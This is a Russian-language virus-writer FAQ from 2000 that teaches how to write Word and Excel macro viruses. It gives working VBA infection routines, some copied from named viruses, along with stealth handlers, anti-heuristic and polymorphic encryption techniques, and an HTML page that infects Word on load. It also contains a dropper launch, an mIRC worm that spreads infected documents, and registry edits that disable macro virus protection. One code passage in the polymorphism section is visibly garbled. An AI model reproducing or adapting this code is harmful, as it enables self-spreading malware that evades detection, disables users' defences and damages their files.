13.04.2000 Macro FAQ [CyberShadow//SMF]
                          MACRO FAQ v1.0 от 10.02.2000
                              
 1. Макровирусы для Microsoft Word 6.0/7.0
    (1997, журнал V_Zone)
 1.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ
 1.2. ПЕРЕМЕННЫЕ И КОНСТАНТЫ
 1.3. СТЕЛС - ТЕХНОЛОГИИ
 1.4. АНТИ - ЭВРИСТИКА
 1.5. ПРИМЕЧАНИЯ

 2. Макровирусы для Microsoft Word 97
 2.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ
 2.2. СТЕЛС - ТЕХНОЛОГИИ
 2.3. ПОЛИМОРФИЗМ
         (1999, журнал DVL#9)
 2.4. ПРИМЕЧАНИЯ

 3. Собственно FAQ как есть
 3.1. А как работает VBA в Excel97?
 3.2. А можно написать вирус заражающий Word и Excel?
 3.3. Где еще использовать комманды SetObject и CreateObject?
 3.4. Можно  ли  запустить какую-нибудь программу пользуяюсь
         средствами VBA?
 3.5. Можно ли получить доступ к системному окружению?
 3.6. Можно ли написать IRC-червя средствами VBA?
 3.7. А  я  слышал,  можно  отключить  VirusProtection  напрямую из
         реестра, правда ли это?

 4. Куда писать ругательства, по поводу всего этого?

                   1. Макровирусы для Microsoft Word 6.0/7.0
                                (1997, журнал V_Zone)

                            1.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ

        Написать  MACRO  -  штучку  оказалось    просто,  как...,  нужно  всего
 лишь    немного    шарить    в  BASIC'е и знать ГЛАВНУЮ  команду WordVirus'a -

                         MacroCopy Source, Destination

     которая  копирует  макрос  из  Source  в  Destination,  но  в вирусе
используется два варианта этой команды:
 MacroCopy     FileName$()+":MacroName1","Normal:MacroName2"-копирует макрос
   из файла в NORMAL.DOT
 MacroCopy     "Normal:MacroName1",FileName$()+":MacroName2"-копирует макрос
   из NORMAL.DOT в файл
     Кроме  того,  чтобы  ваш  вирус  успешно  существовал в среде Word'a
необходимо  знать  как собственно вирус запускается из файла: нужно всего
лишь,  чтобы  запускаемый  макрос  имел  имя  в файле AutoOpen и все! При
открытии  файла  Word  автоматически запустит это макрос! Заражение файла
осуществляется   примерно   также,   важно   чтобы   в  файле  NORMAL.DOT
присутствовал  макрос  FileOpen  и  при открытии файла зараженным Word'oм
вы получите доступ к файлу.

                          1.2. ПЕРЕМЕННЫЕ И КОНСТАНТЫ

        dlg  -  массив    Word'а    используется   им  для  поддержки
                макросов  вызываемых другим макросом.
        FileName$() - имя открытого файла
        CountMacros - количество макросов
        MacroName$ - имя макроса
        Normal  -  имя    файла    в   котором хранятся
                  макросы (русский Word)  если    вы    хотите  заражать
                  аглицкий  Word, замените везде Normal на Global

                            1.3. СТЕЛС - ТЕХНОЛОГИИ

        Это    ваще    дребедень,  проблема  данного  MACRO - вируса: его можно
 легко  найти  и  уничтожить,  используя  меню  Сервис-Макрос,  так  вот  чтобы
 этого  не    происходило    вместе  с  макросами вируса распространяйте макрос
  macros -= ToolsMacro =-

  Sub Main
  End Sub

 Это  не  ошибка!  Распространяйте  ПУСТОЙ  макрос  и  все проблемы с простотой
 будут    решены!    Правда    есть   одно  НО.  Глупый юзер обломится со всеми
 остальными макросами :(
 Более сложный, но и более корректный способ: обрабатывать ToolsMacro самому.

                              1.4. АНТИ-ЭВРИСТИКА

        Как    сделать  так,  чтобы  DrWEB  и  иже с ним не ловили ваши детища?
 Тут необходимо немного фантазии, но все же:
        1. DrWEB не обрабатыает, например, смену шрифта.
        2.  Создаете  макрос  со  случайным  именем  и  записываете туда строку
           MacroCopy  ...  ,  ...  но  перед  этим  задаете шрифт какого-нибудь
           размера  и  записываете  строку,    расшифровывая  по  маске шрифта,
           запускаете этот макрос и удаляете его! И все, все!

                               1.5. ПРИМЕЧАНИЯ

 Стартовые макросы могут быть AutoOpen, AutoClose, AutoSave.
 Глобальные макросы FileOpen, FileSaveAs, FileSave, FileClose.
 Word.Macro.Stealth  (AVP)  -  использует    эти  технологии  и 2 года назад не
 ловился даже на высшем уровне эвристики.

                      2. Макровирусы для Microsoft Word 97

                            2.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ

        Здесь все немного сложнее, поскольку Microsoft, наученная
 горьким  опытом  макро-вирусов  под  Office  95,  решила,  что  нужно  сделать
 какую-никакую   защиту   от  макро-зверьков  (и  надо  признаться,  для  этого
 были  все  основания  :).  Но,  главная  ошибка  компьютера  это  пользователь
 и поэтому у зверей есть все-таки шанс!
        Язык   теперь   несколько  другой,  был  WordBasic  стал  Visual  Basic
 for Application (VBA).
        Отталкиваясь  от  написания макросов для Office 95, рассмотрим 1 способ
 написания макро-вирусов для Word 97:

             ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ СТАРЫЙ МЕТОД КОПИРОВАНИЯ МАКРОСОВ

 собственно комманда копирования:
          Application.OrganizerCopy Source, Destination, Name, Object

 где Source      - Source:=NormalTemplate.FullName,
      - откель копируем зараженные макросы
     Destination - Destination:=ActiveDocument.FullName,
      - куда копируем
     Name        - Name:="Your own macromodule name"
      - имя модуля (не отдельного макроса, а сразу всего блока!)
     Object      - Object:=wdOrganizerObjectProjectItems
      - собственно что копировать - макросы

 эта  команда  показывает  копирование  из зараженного документа в  Normal.dot,
 при  копировании  из  Normal.dot в документ соответсвенно меняем  местами пути
 Source и Destination

 Но,  спасибо  Microsoft,  теперь  больше  простора  для  фантазии, поэтому еще
 способы:
 2 способ написания макро-вириев:

                  ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ ФУНКЦИИ IMPORT И EXPORT

 Итак,  идея  здесь  несколько другая, и лежит целиком на совести разработчиков
 Word'a,  состоит  эта  идея  в том, что вы копируете весь модуль  на  диск,  а
 затем  импортируете  его  в  заражаемый  файл.  Вот  как это делается в вирусе
 xix.Poppy от VicodinES:

 ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"
 ActiveDocument.VBProject.VBComponents.Import "c:\xix.drv"
 Маленькое примечание: "xix" - имя блока макросов,
                       "c:\xix.drv" - имя файла для экспорта/импорта
                                      модулей
 Расширение  у  подобного  рода  файлов  обычно .drv, .sys и подобные системные
 сделано это для того, чтобы при просмотре, например из проводника, этого файла
 не было видно.
 3 способ написания макро-вириев:

                  ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ ФУНКЦИИ РАБОТЫ С ФАЙЛОМ

 Раз  мы  заговорили  о  import/export,  то,  можно  работать напрямую с файлом
 используя  старые добрые операторы PRINT и LINE INPUT. Вот как это реализовано
 в вирусе Ethan:

 Сначала копирование модуля на диск:

 Open "c:\ethan.___" For Output As #1
 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i,  1)
  Print #1, a
 Next i
 Close #1

 А затем перенос из файла в документ:
   если Normal.dot не заражен то:
    Set t = NormalTemplate.VBProject.VBComponents.Item(1)
   если открываемые документ не заражен то:
    Set t = ActiveDocument.VBProject.VBComponents.Item(1)
   затем:

 Open "c:\ethan.___" For Input As #1
 If LOF(1) = 0 Then GoTo q
 i = 1
 Do While Not EOF(1)
  Line Input #1, a
  t.CodeModule.InsertLines i, a
  i = i + 1
 Loop
 q:
 Close #1

 Работа  с  файлами  не  заканчивается  только  такими  способами, резонно было
 бы применить сканирование директорий как в нерезидентных вирусах.
 Учитывая   трепетное   отношение  LovinGod'а  к  копированию  его  материалов,
 сразу  утверждаю:  СЛЕДУЮЩИЙ  СПОСОБ  ВЗЯТ  С  САЙТА  ГРУППЫ SG, ИЗ РАЗДЕЛА IV
 ONLINE, ФАЙЛ WMACRO.TXT, АВТОР ULTRAS (вот и ты попал в FAQ :)

 "Нерезидентен"  - при открытии зараженного файла ищет документы в каталогах от
 текущего  каталога  до  корневого  и  заражает  их. Свое присутствие  в  файле
 определяет  по  последовательности  байт,  которую  при заражении записывает в
 неиспользуемую область заголовка документа.

 Sub AutoOpen()
 'заражает при открытий документов
 On Error Resume Next
 Application.DisplayAlerts = wdAlertsNone
 Options.VirusProtection = False
 'Выключает защиту от вирусов и запуск авто-функций.
 rsminf: FileName$ = CurDir$ + "\" + Dir("*.doc")
 'ищем doc файлы в текущем каталоге
 Open FileName$ For Input As #1
 'открываем файл
 Seek #1, 521
 'ищем в нем строку
 RSM$ = Input$(3, #1)
 Close #1
 If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir
 'если нашли свои опозновательные знаки, то меняем директорию
 Open FileName$ For Append As #1
 'нашли не зараженный документ откроем его
 Seek #1, 523
 'ищем строку
 Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0)
 'вписываем в найденный док метку вируса
 Close #1
 'закрываем документ
 rsmdoc = ActiveDocument.FullName
 Application.Documents.Open FileName
 'открываем документ
 Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems
 'копируем модуль вируса в документ
 Application.Documents.Save
 'сохраним зараженный документ
 ActiveDocument.Close
 'закрываем
 chgdir: ChDir ".."
 'изменяем директорию
 GoTo rsminf
 'поиск файлов
 ecsit:
 end sub

 И,  последний способ, различные реализации которого используются в большинстве
 вирусов выходящих в последнее время.

 Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
 'В NT хранится путь к макросам Normal.dot
 Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
 'В AD хранится путь к макросам активного документа
 If NT.lines(1, 1) = "" Then
   'Если нет никаких макросов в Normal.dot
   NT.Insertlines 1, AD.lines(1, AD.countoflines)
   'копируем макросы из активного документа в Normal.dot
 End If
 If AD.lines(1, 1) = "" Then
   'Если нет никаких макросов в активном документе
   AD.Insertlines 1, NT.lines(1, NT.countoflines)
   'копируем макросы из Normal.dot в активный документ
 End If

 Кстати,  этот способ самый идеальный для шифрованных и полиморфных вирусов, но
 об этом позже.

                            2.2. СТЕЛС - ТЕХНОЛОГИИ

 Здесь  тоже  все  аналогично Office 95, но более продвинуто, то есть перекрыть
 нужно не только ToolsMacro, а несколько:

 Далее показано на примере, как сделать стелс обработчик для Word97.

 'Отключить просмотр кода
 Sub ViewVBCode(): Stealth: End Sub
 'Отключить просмотр макросов
 Sub ToolsMacro(): Stealth: End Sub
 'Отключить просмотр подключенных модулей
 Sub FileTemplates(): Stealth: End Sub
 Private Sub Stealth(): On Error Resume Next
 'Вырубить показ РедактораVB: Отключить клавишу Break
     ShowVisualBasicEditor = 0: Application.EnableCancelKey = 0
 End Sub

                                2.3. ПОЛИМОРФИЗМ
                              (1999, журнал DVL#9)

        Итак,    на  данный    момент   есть  множество  полиморфов  на VB,  но
 подавляющее   большинство  из  них  являются  не  совсем  полиморфами, то есть
 представляют из себя конструкции типа:
        'kj2atlk3jOIJOJ6LkjrlJlkjLjrk22
        For i=1 To n
        'hjkljhlkjhl324jhlkqj3h5jkqhb
        MsgBox i
        'jhjehodhfgjnkbkjwekjt25jkbkjbKJBKJB
        Next
        В    зависимости  от  алгоритма  и  фантазии  автора  вируса эти строки
 могут   содержать  в  себе  различные  символы,  но основная идея остается той
 же    -   вставлять  между  строками  строки  переменной  длины  с  различными
 символами.   Недостатки  ясны  -  стоит  отсеять  все  ремарки,  и  voila! Вот
 ваш    вирус.  Кроме  того,  большинство  полиморфов  модифицируют  весь  свой
 код,   не  производя  никаких  проверок,  что очень быстро делает вирус просто
 огромным   по  размеру,  и  либо  преращает  его  дальнейшее  распространение,
 либо   ясно  показывает,  что  файл  поражен  вирусом  :(.  Хотя сбылась мечта
 всех    вирмакеров,   модифицировать   весь  код  вируса,  но  толку  принесло
 совсем    мало   :(.   Зачем  изобретать  велосипед?  Есть  множество  хороших
 алгоритмов   для  создания  защищенных  вирусов.  Причем  эти  алгоритмы давно
 используются   для  создания  вирусов  под  DOS  и  Windows. Это старые добрые
 шифрующие    алгоритмы   различной   сложности.  Существует  множество  статей
 о   создании  шифрованного  вируса  под  Word,  но  тем  не  менее,  я коснусь
 этой   темы  (кратко).  Зашифрованное  тело  можно  хранить, как минимум двумя
 способами:
        1. Создавая переменную в которой храниться зашифрованное тело вируса:
        CryptedVirusBody="hl23kj6liuhrkljhluhilUHLIhliu"
        CryptedVirusBody=CryptedVirusBody+"sdg3wW#HSDsehEh"
        2. Храня зашифрованное тело вируса прямо в исходном коде:
        Private Sub CryptedVirusBody()
        'jl;kj2lkj;Ij)JHhh5kjhKJhKJ5huoho
        'LKjlkigsohjwhj4klhLhLKhlwktioh
        'JklwjijgnLnlniowngoi
        End Sub
        Разумеется,     при   разных   способах   хранения,  существуют  разные
 способы   расшифровки,  для  первого  способа  вы  пишите декриптор работающий
 напрямую с переменной, в которой храниться зашифрованное тело вируса.
 Для    второго   же   способа  понадобиться  алгоритм  работающий  напрямую  с
 исходным кодом, то есть что-то вроде:
        c=lines(j,1)
        if mid$(c,1,1)="'" then
                ... расшифровка ...
                ReplaceLine j, EncryptedVariable
        End If
        Где j - номер строки кода.
        У    обоих  способов  есть  свои  преимущества  и недостатки, у первого
 способа   это  необходимость  выработки  алгоритма  который  вставляет куда-то
 расшифрованную    строку,   у   второго  -  некоторая  громоздкость  кода  для
 работы   с  поиском  строк.  Выбирайте  любой. Существуют еще способы хранения
 зашифрованных   строк,  но  эти самые простые. Вот, вкратце и все о шифровании
 тела вируса.
        Теперь,    о  самом  интересном:  о  полиморфах.  Рассмотрим  следующий
 пример:
        For i=1 to n                                'часть расшифровщика;
                For  j=1  to  12425                 '-+
                        eyeu=12                     ' |
                        do while eyeu<234           ' | мусор;
                                eyeu=eyeu+43        ' |
                        loop                        ' |
                next                                '-+
                lkj=ljk+1                           'часть расшифровщика;
                jkhlk=142                           '-+
                if  sdfg", "=" и сравнение с RND.
 Для работы с работы с переменными следующие варианты:
        var1=random
        var1=var1+var2
        var1=var2+var3
        var1=var2
        и т.д.
        Вот    и  все о рекурсивных полиморфных алгоритмах. Но! После того, как
 вы    написали  программу  генерирующую  полиморфный  расшифровщик,  сразу  же
 всплывает   масса  проблем  о  которых  вы  раньше не подозревали: длина одной
 сроки   не  может  быть  больше 1024 символов, размер одной процедуры не может
 быть   больше  64 килобайт. И та и другая проблема сказывается на возможностях
 полиморфа.    Итак,  вы  должны  внести  корректировку  по  длине  строки,  на
 полиморфных   блоках  это  не сказывается, а вот если вы храните зашифрованное
 тело   вируса  в  строковых  переменных,  тогда  придется делить переменную на
 части. Размер полиморфа можно коррекитровать уменьшая степень рекурсии.
        Есть    другой  вариант,  перемешать  строки расшифровщика и добавить в
 него   вызов  процедур,  тогда  размер  вируса равномерно распределиться между
 процедурами   и  и  одна  из них не будет больше 64К. Как перемешать, спросите
 вы?   Тогда  ведь  структура  расшифровщика нарушиться и он будет представлять
 собой просто набор нерабочих комманд. Приведу пример:
        private sub try()
                goto loop1
        loop2:
                msgbox "метка номер двас :)"
                goto loop3
        loop1:
                msgbox "метка номер раз"
                goto loop2
        loop3:
        end sub
        Что  сделает  такая программа когда вы ее запустите? Правильно, сначала
 напечатат   про  метку  номер раз, а потом про метку номер двас. Но ведь метка
 номер   два  у  нас  идет  первой?  Как  же  так?  Поняли?  Та же самая идея в
 полиморфе,   имеется куча премешанных комманд, которые после выполнения уходят
 в    случайное  место  кода,  где  уже  подготовлена  следующая  комманда  для
 выполнения.  Кроме того, чтобы не перегружать размер подпрограммы, мы с чистой
 совестью   можем  сделать  вызов  процедуры  вместо GOTO, разумеется процедуру
 нужно   вызывать  со  всеми  переменными  используемыми  в расшифровщике, либо
 объявлять их глобальными, но это уже мелочи.
        Теперь о возможных глюках:
        1. Длина одной строки должна быть меньше 1024 символов;
        2. Размер одной процедуры должен быть меньше 64К;
        3.  Переменные   используемые  в  расшифровщике  должны быть доступны в
           любой подпрограмме;
        4.  Переменные   используемые в расшифровщике и используемые в "мусоре"
           не должны совпадать, иначе расшифровка пойдет неправильно;
        5.  Циклы   в  "мусоре" не должны быть очень большими, иначе юзер может
           подумать, что компьютер завис;
        6. Имена меток не должны совпадать с именами любых переменных;
        7. Любая строка с условием должна стоять отдельно:
                никаких lkj=24: if jkh>qfg then :jkwg=wga:
                в    первом  двоеточии  произойдет ошибка, во втором исполнится
                как код.
        Все    примеры  описываемые здесь подразумевали, что каждая строка идет
 отдельно,  но есть же еще и двоеточия! Делайте случайный выбор между символами
 окончания  строки Chr$(13)+Chr$(10) и ":". Разумеется, нужна проверка на длину
 строки   и  проверка  на  "одиночество"  условий.  Кроме  того, для усложнения
 детектирования, я использовал различные операторы для основного цикла.


                              2.4. ПРИМЕЧАНИЯ

 Имена макросов такие же как в Office 95, но имена программ VBA следующие:
 Document_Close(), Document_Open(),  Document_New() и другие.

                            Собственно FAQ как есть

 Q.: А как работает VBA в Excel97?
 A.: Аналогично Word97, но с некоторыми отличиями: например, вместо
     Document_Open  -  Workbook_Open.  Кроме  того,  в Excel нет общего шаблона
     типа  Normal.dot,  и  поэтому  заражение  осуществляется,  зараженный файл
     копируется  в  директорию  Microsoft  Office\Office\XLStart  и  при старте
     Excel этот файл автоматически загрузится и макросы в нем станут
     глобальными!  Получить  эту  директорию  можно как Application.StartupPath
     Более  подробно  об  этом  можно  узнать  в  следующих  версиях  MACRO FAQ

 Q.: А можно написать вирус заражающий Word и Excel?
 A.: Да,   можно.  Благодаря  корпорации  Microsoft  все  приложения  Office 97
     могут  общаться  между  собой.  Делается  этос  помощью  комманд SetObject
     и CreateObject. Вот как это реализовано в вирусе MultiSys (Office97.
     Triplex.c или Office97.Hooper.g):
     xlsObj = GetObject(, "Excel.Application"): Quit = 0
     If xlsObj = "" Then
      Set xlApp = CreateObject("Excel.Application"): Quit = 1
     End If
     If UCase(Dir(xlApp.Application.StartupPath + "\cs.xls"))<> UCase("CS.XLS") Then
      xlApp.Workbooks.Add.SaveAs   xlApp.Application.StartupPath   &  "\cs.xls"
      xlApp.Workbooks("cs.xls").VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1,NT.CountOfLines)
      xlApp.Workbooks("cs.xls").Close SaveChanges:=True
     End If
     If Quit = 1 Then xlApp.Application.Quit

 Q.: Где еще использовать комманды SetObject и CreateObject?
 A.: Везде,   где  можно  использовать  VisualBasic.  Вот как сделать заражение
     Word97 из HTM файла:
     <html>
     <CyberShadow>
     <BODY>
     <script language="VBScript"><!--
     Private Sub Window_Onload
      On Error Resume Next
      If location.protocol = "file:" then
       Dim FSO
       Set FSO = CreateObject("Scripting.FileSystemObject")
       HostPath = Replace(location.href, "file:///", "")
       HostPath = Replace(HostPath, "/", "\")
       Set WordObj = GetObject("","Word.Application"): Quit = 0
       If WordObj = "" Then
          Set WordObj = CreateObject("Word.Application"): Quit = 1
       End If
       Set   NT   =   WordObj.Templates(1).VBProject.VBComponents(1).Codemodule
       If NT.Lines(1,1) <> "'<html> <CyberShadow>" then
        WordObj.Options.SaveNormalPrompt = False
        NT.DeleteLines 1, NT.CountOfLines
        NT.Addfromfile HostPath
        NT.DeleteLines NT.CountOfLines-3,3
        For j = 1 to 3
         NT.ReplaceLine j, "'" + NT.Lines(j,1)
        Next
       End If
       Set NT = Nothing
       if Quit=1 then WordObj.Quit
      End if
     End Sub
     Private Sub Document_Close()
      MsgBox "You are infected!"
     End Sub
     --></script>
     </BODY>
     </HTML>

 Q.: Можно ли запустить какую-нибудь программу пользуяюсь средствами VBA?
 A.: rv = Shell("c:\dropper.com", 6),  эта  строчка  запускает файл dropper.com
     с диска C как отдельную задачу свернутую в значок.

 Q.: Можно ли получить доступ к системному окружению?
 A.: Разумеется. Следующий пример распечатывает PATH:
     Private Sub GetPath()
      a = Environ("PATH")
      i = 1
      Do While i <= Len(a)
      c = ""
      Do While i <= Len(a) And Mid$(a, i, 1) <> ";"
       c = c + Mid$(a, i, 1)
       i = i + 1
      Loop
      MsgBox c
      i = i + 1
      Loop
     End Sub

 Q.: Можно ли написать IRC-червя средствами VBA?
 A.: Вот пример простейшего IRC-червя:
     Private Sub Document_Close()
      'mirc joke by CyberShadow//SMF
      'Smiles to harmless :)
      MyDir = CurDir
      For i = 0 To 5
       a = Chr$(Asc("C") + i)
       Call infect(a)
      Next
     End Sub
     Private Sub infect(a)
      On Error GoTo outta
      a = a + ":\mirc\"
      Open a + "script.ini" For Output As #1
       Print #1, "[script]"
       Print #1, "n0=on 1:JOIN:#:/dcc send $nick " + a + "NewFiles.doc"
      Close #1
      ActiveDocument.Save
      ActiveDocument.SaveAs a + "NewFiles.doc"
      ActiveDocument.Close
     outta:
     End Sub

 Q.: А  я  слышал,  можно отключить VirusProtection напрямую из реестра, правда
     ли это?
 A.: Да, правда. Вот несколько ключей в реестре:
     вырубить  предупреждения  о    запуске  опасного ActiveX приложения, очень
        удобно для cross вирусов типа DOC-HTML-VBS
     "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""
     "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""
     вырубить MacroVirusProtection для Excel
     "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6" = ""
     "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6" = ""
     вырубить MacroVirusProtection для Word
     "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"
     "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"
     Задать страницу, запускающуюся при старте InternetExplorer
     [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
     "Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"
     [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]
     "Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"

               Куда писать ругательства, по поводу всего этого?

 Куда угодно! :)
 А на e-mail [email protected] присылайте свои пожелания и вопросы на которые
      вы хотели бы узнать ответ в следующей версии MACRO FAQ. Обновляться будет
      по мере поступления новых вопросов.
 У  кого  проблемы  с  e-mail, обращайтесь к Imagineer aka Yura Pospelov он мне
      перешлет.